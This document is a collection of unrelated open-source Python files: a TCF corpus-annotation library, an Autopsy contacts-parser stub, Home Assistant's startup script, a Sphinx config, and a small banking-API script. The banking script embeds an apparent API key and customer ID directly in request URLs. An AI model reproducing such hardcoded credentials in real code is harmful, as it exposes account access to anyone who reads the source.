elif tag == 'lemmas':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(Lemmas())
for lemma_elem in layer_elem:
for token_id in lemma_elem.get('tokenIDs').split():
self.tokens[token_id].lemma = lemma_elem.text
elif tag == 'POStags':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(POStags(layer_elem.get('tagset')))
for tag_elem in layer_elem:
for token_id in tag_elem.get('tokenIDs').split():
self.tokens[token_id].tag = tag_elem.text
elif tag == 'depparsing':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(DepParsing(
tagset=layer_elem.get('tagset'),
emptytoks=layer_elem.get('emptytoks') == 'true',
multigovs=layer_elem.get('multigovs') == 'true'))
for parse_elem in layer_elem:
parse = DepParse()
for dep_elem in parse_elem:
func = dep_elem.get('func')
if 'govIDs' in dep_elem.attrib:
gov_tokens = [self.tokens[token_id]
for token_id
in dep_elem.get('govIDs').split()]
else:
gov_tokens = None
if 'depIDs' in dep_elem.attrib:
dep_tokens = [self.tokens[token_id]
for token_id
in dep_elem.get('depIDs').split()]
else:
dep_tokens = None
parse.append(Dependency(func=func,
gov_tokens=gov_tokens,
dep_tokens=dep_tokens))
self.depparsing.append(parse)
elif tag == 'namedEntities':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(NamedEntities(layer_elem.get('type')))
for entity_elem in layer_elem:
entity = NamedEntity(class_=entity_elem.get('class'))
entity.tokens = [self.tokens[tid]
for tid
in entity_elem.get('tokenIDs').split()]
self.namedentities.append(entity)
elif tag == 'references':
logging.debug('Reading layer "{}".'.format(tag))
self.references = References(
typetagset=layer_elem.get('typetagset'),
reltagset=layer_elem.get('reltagset'),
extrefs=layer_elem.get('extrefs'))
for entity_elem in layer_elem:
entity = Entity()
# Collect references, as referenced References may not
# exists yet.
targets = {}
extref_elem = entity_elem.find(P_TEXT + 'extref')
if extref_elem is not None:
entity.extref = extref_elem.get('refid')
for ref_elem in entity_elem.findall(P_TEXT + 'reference'):
reference = Reference()
reference.id = ref_elem.get('ID')
for token_id in ref_elem.get('tokenIDs').split():
token = self.tokens[token_id]
reference.tokens.append(token)
if 'target' in ref_elem.attrib:
targets[reference.id] = ref_elem.get('target')
entity.append(reference)
for source, target in targets.items():
entity[source].target = entity[target]
self.references.append(entity)
elif tag == 'textstructure':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(TextStructure())
for span_elem in layer_elem:
if not 'start' in span_elem.attrib:
# The TCF example contains textspans with no start or end
# attribute. The meaning of those is unclear, we skip them
# here.
continue
span = TextSpan()
if 'type' in span_elem.attrib:
span.type = span_elem.get('type')
span.tokens = []
start = span_elem.get('start')
end = span_elem.get('end')
keys = list(self.tokens.keys())
for key in keys[keys.index(start):]:
span.tokens.append(self.tokens.get(key))
if key == end:
break
self.textstructure.append(span)
elif tag == 'wsd':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(Wsd(layer_elem.get('src')))
for ws_elem in layer_elem:
for token_id in ws_elem.get('tokenIDs').split():
senses = ws_elem.get('lexunits').split()
self.tokens[token_id].wordsenses = senses
# Reset new_layers
self.new_layers = []
@property
def tree(self):
"""
Return the corpus as an `etree.ElementTree`.
The original XML tree is kept in memory, so that only newly added
layers get serialized. This makes sure that the original tree is not
touched.
"""
corpus_elem = self._tree.xpath('/data:D-Spin/text:TextCorpus',
namespaces=NS)[0]
for layer in self.new_layers:
corpus_elem.append(getattr(self, layer).tcf)
self.new_layers = []
return self._tree
def write(self, file_or_path, *, encoding='utf-8', pretty_print=True):
"""
Write the XML tree into a file.
This method writes each layer successively and discards it afterwards.
This is more memory efficient than building the whole tree at once.
:param file_or_path: The target to which to write the XML tree.
:type file_or_path: A file object or a file path.
"""
with etree.xmlfile(file_or_path, encoding=encoding) as xf:
xf.write_declaration()
with xf.element(P_DATA + 'D-Spin', nsmap={None: NS_DATA}):
xf.write('\n')
# TODO: Write MetaData.
with xf.element(P_TEXT + 'TextCorpus', lang=self.lang,
nsmap={None: NS_TEXT}):
xf.write('\n')
corpus_elem = self._tree.xpath('/data:D-Spin/text:TextCorpus',
namespaces=NS)[0]
# Write layers from the input tree.
for layer_elem in corpus_elem:
xf.write(layer_elem, pretty_print=pretty_print)
layer_elem = None
# Write newly added layers.
for layer in self.new_layers:
layer_elem = getattr(self, layer).tcf
xf.write(layer_elem, pretty_print=pretty_print)
layer_elem = None
xf.write('\n')
def add_layer(self, layer):
"""Add an :class:`AnnotationLayerBase` object to the corpus."""
name = type(layer).__name__.lower()
setattr(self, name, layer)
layer.corpus = self
self.new_layers.append(name)
class Text(AnnotationLayerBase):
"""
The text annotation layer.
"""
element = 'text'
def __init__(self, text):
super().__init__()
#: The unannotated text.
self.text = text
@property
def tcf(self):
element = etree.Element(P_TEXT + 'text', nsmap={None: NS_TEXT})
element.text = self.text
return element
class Tokens(AnnotationLayerWithIDs):
"""
The tokens annotation layer.
It holds a sequence of :class:`Token` objects.
"""
element = 'tokens'
class Token(AnnotationElement):
"""The token annotation element."""
element = 'token'
prefix = 't'
def __init__(self, text):
super().__init__()
#: The token text.
self.text = text
#: The token lemma.
self.lemma = None
#: The POS tag value.
self.tag = None
self.analysis = None
#: The :class:`NamedEntity` object for the token.
self.entity = None
#: The :class:`Reference` object for the token.
self.reference = None
#: The list of word senses for the token.
self.wordsenses = []
def __str__(self):
return self.text
@property
def tcf(self):
element = super().tcf
element.text = self.text
return element
@property
def postag(self):
"""The POS tag as a
:class:`POSTagBase <tcflib.tagsets.base.POSTagBase>`"""
tagset = TagSet(self.parent.corpus.postags.tagset)
return tagset[self.tag]
@property
def semantic_unit(self):
"""
The semantic unit for a token.
The semantic unit can be the (disambiguated) lemma, a named entity,
or a referenced semantic unit.
"""
def lemma_if_available(token):
if token.lemma and not token.lemma in UNKNOWN_LEMMAS:
return token.lemma
return token.text
def disambiguate(token):
if token.wordsenses:
return '{} ({})'.format(lemma_if_available(token),
', '.join(token.wordsenses))
return lemma_if_available(token)
tokens = None
if self.reference:
if self.reference.entity.extref:
return self.reference.entity.extref
if self.reference.target:
tokens = self.reference.target.tokens
elif self.entity:
tokens = self.entity.tokens
if tokens:
return ' '.join([disambiguate(token) for token in tokens])
return disambiguate(self)
class Lemmas(AnnotationLayer):
"""
The lemmas annotation layer.
"""
element = 'lemmas'
@property
def tcf(self):
element = etree.Element(P_TEXT + self.element, nsmap={None: NS_TEXT})
for i, token in enumerate(self.corpus.tokens):
child = etree.SubElement(element, P_TEXT + 'lemma',
ID='le_{}'.format(i),
tokenIDs=token.id)
child.text = token.lemma
return element
class Wsd(AnnotationLayer):
"""
The word senses (wsd) annotation layer.
"""
element = 'wsd'
def __init__(self, source):
super().__init__()
self.source = source
@property
def tcf(self):
element = etree.Element(P_TEXT + self.element, src=self.source,
nsmap={None: NS_TEXT})
for token in self.corpus.tokens:
if token.wordsenses:
child = etree.SubElement(element, P_TEXT + 'ws',
tokenIDs=token.id,
lexunits=' '.join(token.wordsenses))
return element
class POStags(AnnotationLayer):
"""
The POStags annotation layer.
"""
element = 'POStags'
def __init__(self, tagset):
super().__init__()
self.tagset = tagset
@property
def tcf(self):
element = etree.Element(P_TEXT + self.element, tagset=self.tagset,
nsmap={None: NS_TEXT})
for i, token in enumerate(self.corpus.tokens):
child = etree.SubElement(element, P_TEXT + 'tag',
ID='pt_{}'.format(i),
tokenIDs=token.id)
child.text = token.tag
return element
class DepParsing(AnnotationLayerWithIDs):
"""
The depparsing annotation layer.
It holds a sequence of :class:`DepParse` objects.
"""
element = 'depparsing'
def __init__(self, tagset, emptytoks=False, multigovs=False):
super().__init__()
self.tagset = tagset
self.emptytoks = emptytoks
self.multigovs = multigovs
@property
def tcf(self):
element = super().tcf
element.set('tagset', self.tagset)
element.set('emptytoks', str(self.emptytoks).lower())
element.set('multigovs', str(self.multigovs).lower())
return element
class DepParse(AnnotationLayer):
"""
The parse annotation element.
It holds a sequence of :class:`Dependency` objects.
"""
element = 'parse'
prefix = 'd'
def __init__(self):
super().__init__()
self.id = None
try:
self._graph = igraph.Graph(directed=True)
self._graph.vs['name'] = '' # Ensure 'name' attribute is present.
except NameError:
logging.warn('The igraph package has to be installed to use the '
'tree interface to the dependency annotation layer.')
self._graph = None
@property
def root(self):
if self._graph is not None:
root_node = self._graph.vs.find(_indegree=0)
return self.corpus.tokens[root_node['name']]
else:
for dependency in self:
if dependency.dep_tokens and not dependency.gov_tokens:
return dependency.dep_tokens[0]
def append(self, item):
super().append(item)
if self._graph is not None:
for token in set(item.gov_tokens) | set(item.dep_tokens):
if not token.id in self._graph.vs['name']:
self._graph.add_vertex(token.id)
for gov, dep in product(item.gov_tokens, item.dep_tokens):
self._graph.add_edge(gov.id, dep.id)
def find_dependents(self, token):
node = self._graph.vs.find(token.id)
dep_nodes = node.neighbors(mode=igraph.OUT)
return [self.corpus.tokens[n['name']] for n in dep_nodes]
class Dependency(AnnotationElement):
"""
The dependecy annotation element.
"""
element = 'dependecy'
def __init__(self, func, gov_tokens=None, dep_tokens=None):
super().__init__()
self.func = func
self.gov_tokens = gov_tokens or []
self.dep_tokens = dep_tokens or []
@property
def tcf(self):
element = super().tcf
element.set('func', self.func)
for attrib, tokens in (('govIDs', self.gov_tokens),
('depIDs', self.dep_tokens)):
if tokens:
element.set(attrib, ' '.join([token.id for token
in self.gov_tokens]))
class NamedEntities(AnnotationLayerWithIDs):
"""
The namedEntities annotation layer.
It holds a sequence of :class:`NamedEntity` objects.
"""
element = 'namedEntities'
def __init__(self, type):
super().__init__()
self.type = type
@property
def tcf(self):
element = super().tcf
element.set('type', self.type)
return element
class NamedEntity(AnnotationElement):
"""
The token annotation element.
"""
element = 'entity'
prefix = 'ne'
def __init__(self, class_=None, tokens=None):
class _TokenList(TokenList):
token_attrib = 'entity'
annotation_elem = self
self._tokens_cls = _TokenList
self.parent = None
self.id = None
self.class_ = class_
self._tokens = self._tokens_cls(tokens)
@property
def tokens(self):
return self._tokens
@tokens.setter
def tokens(self, tokens):
# This makes sure tokens contain a link to the entity.
self._tokens = self._tokens_cls(tokens)
@property
def tcf(self):
element = super().tcf
if self.class_ is not None:
element.set('class', self.class_)
return element
class References(AnnotationLayer):
"""
The references annotation layer.
"""
element = 'references'
def __init__(self, typetagset, reltagset, extrefs):
super().__init__()
self.typetagset = typetagset
self.reltagset = reltagset
self.extrefs = extrefs
@property
def tcf(self):
element = super().tcf
for key in ('typetagset', 'reltagset', 'extrefs'):
value = getattr(self, key)
if value is not None:
element.set(key, value)
return element
class Entity(AnnotationLayerWithIDs):
"""
The entity annotation element.
This class represents a coreference entity inside the references
annotation layer. The entity inside the namedEntities annotation layer
is represented by the :class:`NamedEntity` class. In TCF, both share
the entity tag name.
An entity holds a sequence of :class:`Reference` objects.
"""
element = 'entity'
def __init__(self):
super().__init__()
self.extref = None
@property
def tcf(self):
element = super().tcf
if self.extref is not None:
er_elem = etree.Element('extref', refid=self.extref)
element.insert(0, er_elem)
return element
def append(self, item):
if item.id is not None:
n = None
else:
n = sum([len(e.data) for e in self.parent])
super().append(item, n)
class Reference(AnnotationElement):
"""
The reference annotation element.
"""
element = 'reference'
prefix = 'rc'
def __init__(self, *, type=None, rel=None, target=None, tokens=None):
class _TokenList(TokenList):
token_attrib = 'reference'
annotation_elem = self
self._tokens_cls = _TokenList
super().__init__()
self.type = type
self.rel = rel
#: The target :class:`Reference`.
self.target = target
self._tokens = self._tokens_cls(tokens)
@property
def tokens(self):
"""The tokens for this reference."""
return self._tokens
@tokens.setter
def tokens(self, tokens):
# This makes sure tokens contain a link to the entity.
self._tokens = self._tokens_cls(tokens)
@property
def entity(self):
"""The :class:`Entity` this reference belongs to."""
return self.parent
@property
def tcf(self):
element = super().tcf
for key in ('type', 'rel'):
value = getattr(self, key)
if value is not None:
element.set(key, value)
if self.target is not None:
element.set('target', self.target.id)
return element
class Sentences(AnnotationLayerWithIDs):
"""
The sentences annotation layer.
It holds a sequence of :class:`Sentence` objects.
"""
element = 'sentences'
class Sentence(AnnotationElement):
"""
The token annotation element.
"""
element = 'sentence'
prefix = 's'
class TextStructure(AnnotationLayer):
"""
The textstructure annotation layer.
It holds a sequence of :class:`TextSpan` objects.
"""
element = 'textstructure'
class TextSpan(AnnotationElement):
"""
The token annotation element.
"""
element = 'textspan'
prefix = 'ts'
def __init__(self, type=None):
super().__init__()
#: The type of span.
self.type = type
@property
def tcf(self):
element = super().tcf
if 'tokenIDs' in element.attrib:
# Tokens are handled in a different way here.
del element.attrib['tokenIDs']
if self.tokens:
element.set('start', self.tokens[0].id)
element.set('end', self.tokens[-1].id)
if self.type:
element.set('type', self.type)
return element
class Graph(AnnotationLayerBase):
"""
The graph annotation layer.
This layer implements a graph API to store graph representations of the
text (e.g., cooccurrence graphs).
"""
element = 'graph'
def __init__(self, *, label='lemma', weight='count'):
try:
self._graph = igraph.Graph()
except NameError:
logging.warn('The igraph package has to be installed to use the '
'graph annotation layer.')
raise
self._graph.vs['name'] = '' # Ensure 'name' attribute is present.
self.label = label
self.weight = weight
class Edge:
def __init__(self, edge, graph):
self._edge = edge
self._graph = graph
def __getitem__(self, key):
return self._edge[key]
def __setitem__(self, key, value):
self._edge[key] = value
@property
def source(self):
return self._graph.vs[self._edge.source]
@property
def target(self):
return self._graph.vs[self._edge.target]
self._edge_cls = Edge
@property
def nodes(self):
return self._graph.vs
@property
def edges(self):
return [self._edge_cls(edge, self._graph) for edge in self._graph.es]
def add_node(self, name, **attr):
if not name in self._graph.vs['name']:
self._graph.add_vertex(name, **attr)
return self.node(name)
def add_edge(self, source, target, weight=1, **attr):
self._graph.add_edge(source, target, weight=weight, **attr)
return self.edge(source, target)
def node(self, name):
if isinstance(name, igraph.Vertex):
# It should be safe to call node() with a node as argument.
return name
try:
return self._graph.vs.find(name)
except (IndexError, ValueError):
return None
def edge(self, source, target):
source = self.node(source)
target = self.node(target)
try:
edge = self._graph.es.find(_within=(source.index, target.index))
return self._edge_cls(edge, self._graph)
except ValueError:
return None
def node_for_token(self, token):
name = getattr(token, self.label)
node = self.node(name)
if node is None:
node = self.add_node(name, tokens=[token])
if token.postag is not None:
node['type'] = token.postag.name
if token.entity:
node['class'] = token.entity.class_ or ''
else:
if not token in node['tokens']:
node['tokens'].append(token)
return node
def edge_for_tokens(self, source, target, loops=False, unique=False):
source_name, target_name = [getattr(token, self.label)
for token in (source, target)]
if not loops and source_name == target_name:
raise LoopError
edge = self.edge(source_name, target_name)
edge_tokens = frozenset((source, target))
if edge is None:
edge = self.add_edge(source_name, target_name,
weight=1,
tokens=OrderedDict({edge_tokens: 1}))
else:
if edge_tokens in edge['tokens'].keys():
if not unique:
edge['weight'] += 1
edge['tokens'][edge_tokens] += 1
else:
edge['weight'] += 1
edge['tokens'][edge_tokens] = 1
return edge
@property
def tcf(self):
graph = etree.Element(P_TEXT + 'graph', nsmap={None: NS_TEXT})
nodes = etree.SubElement(graph, P_TEXT + 'nodes')
edges = etree.SubElement(graph, P_TEXT + 'edges')
nid = 'n_{}'
# The graph should not have multiple edges.
if self._graph.has_multiple():
logging.warn('Multiple edges detected. This cannot be handled '
'by some graph analysis applications.')
# simplify the graph, i.e., merge
#self._graph.simplify(combine_edges={'weight': sum,
# 'tokens': lambda x: list(chain.from_iterable(x))})
for vertex in self._graph.vs:
node = etree.SubElement(nodes, P_TEXT + 'node')
node.text = vertex['name']
node.set('ID', nid.format(vertex.index))
for key, value in vertex.attributes().items():
if key == 'name':
continue
elif key == 'tokens':
node.set('tokenIDs',
' '.join([token.id for token in value]))
elif isinstance(value, (list, tuple)):
node.set(key, ' '.join(value))
elif isinstance(value, bool):
node.set(key, str(value).lower())
else:
node.set(key, str(value))
for link in self._graph.es:
edge = etree.SubElement(edges, P_TEXT + 'edge',
source=nid.format(link.source),
target=nid.format(link.target))
for key, value in link.attributes().items():
if key == 'tokens':
for (a, b), weight in value.items():
etree.SubElement(edge, P_TEXT + 'tokenEdge',
source=str(a.id), target=str(b.id),
weight=str(weight))
elif isinstance(value, (list, tuple)):
edge.set(key, ' '.join(value))
elif isinstance(value, bool):
edge.set(key, str(value).lower())
else:
edge.set(key, str(value))
return graph
class LoopError(Exception):
"""This exception is raised if a request to add an edge would result in a loop."""
def __str__(self):
return 'Trying to add a loop to the graph.'
def serialize(obj):
"""
Serialize an object into a byte string.
:param obj: A :class:`TextCorpus`, `etree.ElementTree` or `string`.
:rtype: bytes
"""
if isinstance(obj, TextCorpus):
obj = obj.tree
if hasattr(obj, 'xpath'):
return etree.tostring(obj, encoding='utf8',
pretty_print=True, xml_declaration=True)
try:
# Duck-type string
return obj.encode('utf8')
except AttributeError:
return obj
| {
"content_hash": "a5ca71d05bbe288ae75f7c9f9a680f78",
"timestamp": "",
"source": "github",
"line_count": 1048,
"max_line_length": 86,
"avg_line_length": 32.350190839694655,
"alnum_prop": 0.5275049405657316,
"repo_name": "SeNeReKo/TCFlib",
"id": "18f0b8277ccf2c6036296a5d11479845818cfbe3",
"size": "35074",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "tcflib/tcf.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "102604"
}
],
"symlink_target": ""
} |
"""
Autopsy Forensic Browser
Copyright 2019 Basis Technology Corp.
Contact: carrier <at> sleuthkit <dot> org
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from ResultSetIterator import ResultSetIterator
class TskContactsParser(ResultSetIterator):
"""
Generic TSK_CONTACT artifact template. Each of these methods
will contain the extraction and transformation logic for
converting raw database records to the expected TSK_CONTACT
format.
"""
def __init__(self, result_set):
super(TskContactsParser, self).__init__(result_set)
self._DEFAULT_VALUE = ""
def get_contact_name(self):
return self._DEFAULT_VALUE
def get_phone(self):
return self._DEFAULT_VALUE
def get_home_phone(self):
return self._DEFAULT_VALUE
def get_mobile_phone(self):
return self._DEFAULT_VALUE
def get_email(self):
return self._DEFAULT_VALUE
def get_other_attributes(self):
return None
| {
"content_hash": "4f4414b8e86c0a9464aa6728a7c0f26f",
"timestamp": "",
"source": "github",
"line_count": 49,
"max_line_length": 72,
"avg_line_length": 30.3265306122449,
"alnum_prop": 0.7079407806191117,
"repo_name": "wschaeferB/autopsy",
"id": "6db622d3ca439cb3b75021b6892bcb6a59d5ab1e",
"size": "1486",
"binary": false,
"copies": "5",
"ref": "refs/heads/develop",
"path": "InternalPythonModules/android/TskContactsParser.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "AutoIt",
"bytes": "27605"
},
{
"name": "CSS",
"bytes": "4467"
},
{
"name": "HTML",
"bytes": "10721"
},
{
"name": "Java",
"bytes": "14146746"
},
{
"name": "Perl",
"bytes": "12052"
},
{
"name": "Python",
"bytes": "518989"
},
{
"name": "Shell",
"bytes": "10815"
}
],
"symlink_target": ""
} |
"""Starts home assistant."""
from __future__ import print_function
import argparse
import os
import signal
import sys
import threading
import time
from multiprocessing import Process
from homeassistant.const import (
__version__,
EVENT_HOMEASSISTANT_START,
REQUIRED_PYTHON_VER,
RESTART_EXIT_CODE,
)
def validate_python():
"""Validate we're running the right Python version."""
major, minor = sys.version_info[:2]
req_major, req_minor = REQUIRED_PYTHON_VER
if major < req_major or (major == req_major and minor < req_minor):
print("Home Assistant requires at least Python {}.{}".format(
req_major, req_minor))
sys.exit(1)
def ensure_config_path(config_dir):
"""Validate the configuration directory."""
import homeassistant.config as config_util
lib_dir = os.path.join(config_dir, 'deps')
# Test if configuration directory exists
if not os.path.isdir(config_dir):
if config_dir != config_util.get_default_config_dir():
print(('Fatal Error: Specified configuration directory does '
'not exist {} ').format(config_dir))
sys.exit(1)
try:
os.mkdir(config_dir)
except OSError:
print(('Fatal Error: Unable to create default configuration '
'directory {} ').format(config_dir))
sys.exit(1)
# Test if library directory exists
if not os.path.isdir(lib_dir):
try:
os.mkdir(lib_dir)
except OSError:
print(('Fatal Error: Unable to create library '
'directory {} ').format(lib_dir))
sys.exit(1)
def ensure_config_file(config_dir):
"""Ensure configuration file exists."""
import homeassistant.config as config_util
config_path = config_util.ensure_config_exists(config_dir)
if config_path is None:
print('Error getting configuration path')
sys.exit(1)
return config_path
def get_arguments():
"""Get parsed passed in arguments."""
import homeassistant.config as config_util
parser = argparse.ArgumentParser(
description="Home Assistant: Observe, Control, Automate.")
parser.add_argument('--version', action='version', version=__version__)
parser.add_argument(
'-c', '--config',
metavar='path_to_config_dir',
default=config_util.get_default_config_dir(),
help="Directory that contains the Home Assistant configuration")
parser.add_argument(
'--demo-mode',
action='store_true',
help='Start Home Assistant in demo mode')
parser.add_argument(
'--debug',
action='store_true',
help='Start Home Assistant in debug mode. Runs in single process to '
'enable use of interactive debuggers.')
parser.add_argument(
'--open-ui',
action='store_true',
help='Open the webinterface in a browser')
parser.add_argument(
'--skip-pip',
action='store_true',
help='Skips pip install of required packages on startup')
parser.add_argument(
'-v', '--verbose',
action='store_true',
help="Enable verbose logging to file.")
parser.add_argument(
'--pid-file',
metavar='path_to_pid_file',
default=None,
help='Path to PID file useful for running as daemon')
parser.add_argument(
'--log-rotate-days',
type=int,
default=None,
help='Enables daily log rotation and keeps up to the specified days')
parser.add_argument(
'--install-osx',
action='store_true',
help='Installs as a service on OS X and loads on boot.')
parser.add_argument(
'--uninstall-osx',
action='store_true',
help='Uninstalls from OS X.')
parser.add_argument(
'--restart-osx',
action='store_true',
help='Restarts on OS X.')
if os.name != "nt":
parser.add_argument(
'--daemon',
action='store_true',
help='Run Home Assistant as daemon')
arguments = parser.parse_args()
if os.name == "nt":
arguments.daemon = False
return arguments
def daemonize():
"""Move current process to daemon process."""
# Create first fork
pid = os.fork()
if pid > 0:
sys.exit(0)
# Decouple fork
os.setsid()
os.umask(0)
# Create second fork
pid = os.fork()
if pid > 0:
sys.exit(0)
def check_pid(pid_file):
"""Check that HA is not already running."""
# Check pid file
try:
pid = int(open(pid_file, 'r').readline())
except IOError:
# PID File does not exist
return
try:
os.kill(pid, 0)
except OSError:
# PID does not exist
return
print('Fatal Error: HomeAssistant is already running.')
sys.exit(1)
def write_pid(pid_file):
"""Create a PID File."""
pid = os.getpid()
try:
open(pid_file, 'w').write(str(pid))
except IOError:
print('Fatal Error: Unable to write pid file {}'.format(pid_file))
sys.exit(1)
def install_osx():
"""Setup to run via launchd on OS X."""
with os.popen('which hass') as inp:
hass_path = inp.read().strip()
with os.popen('whoami') as inp:
user = inp.read().strip()
cwd = os.path.dirname(__file__)
template_path = os.path.join(cwd, 'startup', 'launchd.plist')
with open(template_path, 'r', encoding='utf-8') as inp:
plist = inp.read()
plist = plist.replace("$HASS_PATH$", hass_path)
plist = plist.replace("$USER$", user)
path = os.path.expanduser("~/Library/LaunchAgents/org.homeassistant.plist")
try:
with open(path, 'w', encoding='utf-8') as outp:
outp.write(plist)
except IOError as err:
print('Unable to write to ' + path, err)
return
os.popen('launchctl load -w -F ' + path)
print("Home Assistant has been installed. \
Open it here: http://localhost:8123")
def uninstall_osx():
"""Unload from launchd on OS X."""
path = os.path.expanduser("~/Library/LaunchAgents/org.homeassistant.plist")
os.popen('launchctl unload ' + path)
print("Home Assistant has been uninstalled.")
def setup_and_run_hass(config_dir, args, top_process=False):
"""Setup HASS and run.
Block until stopped. Will assume it is running in a subprocess unless
top_process is set to true.
"""
from homeassistant import bootstrap
if args.demo_mode:
config = {
'frontend': {},
'demo': {}
}
hass = bootstrap.from_config_dict(
config, config_dir=config_dir, daemon=args.daemon,
verbose=args.verbose, skip_pip=args.skip_pip,
log_rotate_days=args.log_rotate_days)
else:
config_file = ensure_config_file(config_dir)
print('Config directory:', config_dir)
hass = bootstrap.from_config_file(
config_file, daemon=args.daemon, verbose=args.verbose,
skip_pip=args.skip_pip, log_rotate_days=args.log_rotate_days)
if hass is None:
return
if args.open_ui:
def open_browser(event):
"""Open the webinterface in a browser."""
if hass.config.api is not None:
import webbrowser
webbrowser.open(hass.config.api.base_url)
hass.bus.listen_once(EVENT_HOMEASSISTANT_START, open_browser)
hass.start()
exit_code = int(hass.block_till_stopped())
if not top_process:
sys.exit(exit_code)
return exit_code
def run_hass_process(hass_proc):
"""Run a child hass process. Returns True if it should be restarted."""
requested_stop = threading.Event()
hass_proc.daemon = True
def request_stop(*args):
"""Request hass stop, *args is for signal handler callback."""
requested_stop.set()
hass_proc.terminate()
try:
signal.signal(signal.SIGTERM, request_stop)
except ValueError:
print('Could not bind to SIGTERM. Are you running in a thread?')
hass_proc.start()
try:
hass_proc.join()
except KeyboardInterrupt:
request_stop()
try:
hass_proc.join()
except KeyboardInterrupt:
return False
return (not requested_stop.isSet() and
hass_proc.exitcode == RESTART_EXIT_CODE,
hass_proc.exitcode)
def main():
"""Start Home Assistant."""
validate_python()
args = get_arguments()
config_dir = os.path.join(os.getcwd(), args.config)
ensure_config_path(config_dir)
# OS X launchd functions
if args.install_osx:
install_osx()
return 0
if args.uninstall_osx:
uninstall_osx()
return 0
if args.restart_osx:
uninstall_osx()
# A small delay is needed on some systems to let the unload finish.
time.sleep(0.5)
install_osx()
return 0
# Daemon functions
if args.pid_file:
check_pid(args.pid_file)
if args.daemon:
daemonize()
if args.pid_file:
write_pid(args.pid_file)
# Run hass in debug mode if requested
if args.debug:
sys.stderr.write('Running in debug mode. '
'Home Assistant will not be able to restart.\n')
exit_code = setup_and_run_hass(config_dir, args, top_process=True)
if exit_code == RESTART_EXIT_CODE:
sys.stderr.write('Home Assistant requested a '
'restart in debug mode.\n')
return exit_code
# Run hass as child process. Restart if necessary.
keep_running = True
while keep_running:
hass_proc = Process(target=setup_and_run_hass, args=(config_dir, args))
keep_running, exit_code = run_hass_process(hass_proc)
return exit_code
if __name__ == "__main__":
sys.exit(main())
| {
"content_hash": "7d5db50ce362b8577042618ad09f6b66",
"timestamp": "",
"source": "github",
"line_count": 347,
"max_line_length": 79,
"avg_line_length": 28.64265129682997,
"alnum_prop": 0.5992554582956032,
"repo_name": "Zyell/home-assistant",
"id": "f12758a354d163e3a152ff137c9a4a1503d6faac",
"size": "9939",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "homeassistant/__main__.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "798938"
},
{
"name": "Python",
"bytes": "771451"
},
{
"name": "Shell",
"bytes": "5097"
}
],
"symlink_target": ""
} |
import requests
import json
import math
customerId = '5709786a319313dd1b438fd0'
apiKey = 'cf6fe22672e82008e57d304ac6e0d669'
#Get the amount of money in the food bank account
def getFoodAmount():
r = requests.get('http://api.reimaginebanking.com/accounts/57097f4a319313dd1b43b2bd?key=cf6fe22672e82008e57d304ac6e0d669')
return json.loads(r.text)['balance']
#clear the food bank account
def clearFood():
payload = {
"medium": "balance",
"payee_id": "570986c4319313dd1b43b2e9",
"amount": getFoodAmount(),
"transaction_date": "2016-04-09",
"status": "completed",
"description": "string"
}
res = requests.post(
'http://api.reimaginebanking.com/accounts/57097f4a319313dd1b43b2bd/transfers?key=cf6fe22672e82008e57d304ac6e0d669',
data=json.dumps(payload),
headers={'content-type':'application/json'},
)
#Get the amount of money in the person's bank account
def getBankAmount():
r = requests.get('http://api.reimaginebanking.com/accounts/57097a02319313dd1b43b29d?key=cf6fe22672e82008e57d304ac6e0d669')
return json.loads(r.text)['balance']
#Transfer x percent of money from bank account to food bank account
def percentFood(percent):
amount = getBankAmount()
payload = {
"medium": "balance",
"payee_id": "57097f4a319313dd1b43b2bd",
"amount": math.floor(amount*percent/100),
"transaction_date": "2016-04-09",
"status": "completed",
"description": "string"
}
requests.post(
'http://api.reimaginebanking.com/accounts/57097a02319313dd1b43b29d/transfers?key=cf6fe22672e82008e57d304ac6e0d669',
data=json.dumps(payload),
headers={'content-type':'application/json'},
)
return math.floor(percent*amount/100)
| {
"content_hash": "0488105b6a38693b09819f03fc0fbc5e",
"timestamp": "",
"source": "github",
"line_count": 54,
"max_line_length": 126,
"avg_line_length": 33.27777777777778,
"alnum_prop": 0.6917084028937117,
"repo_name": "jerrrytan/bitcamp",
"id": "b1680499d4b9376f8546f23ac2e1762361a428d1",
"size": "1816",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "bitcamp/bitcampapp/banking.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "11464"
},
{
"name": "Python",
"bytes": "20470"
}
],
"symlink_target": ""
} |
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.intersphinx',
# 'sphinx.ext.doctest',
'sphinx.ext.autosummary',
'sphinx.ext.napoleon',
# 'sphinx.ext.todo',
# 'sphinx.ext.coverage',
# 'sphinx.ext.mathjax',
'sphinx.ext.githubpages']
autosummary_generate = True
# Add any paths that contain templates here, relative to this directory.
templates_path = ['.templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'PyCuDNN'
copyright = u'2017, Konstantyn Komarov'
author = u'Konstantyn Komarov'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'0.0.3'
# The full version, including alpha/beta/rc tags.
release = u'0.0.3'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = []
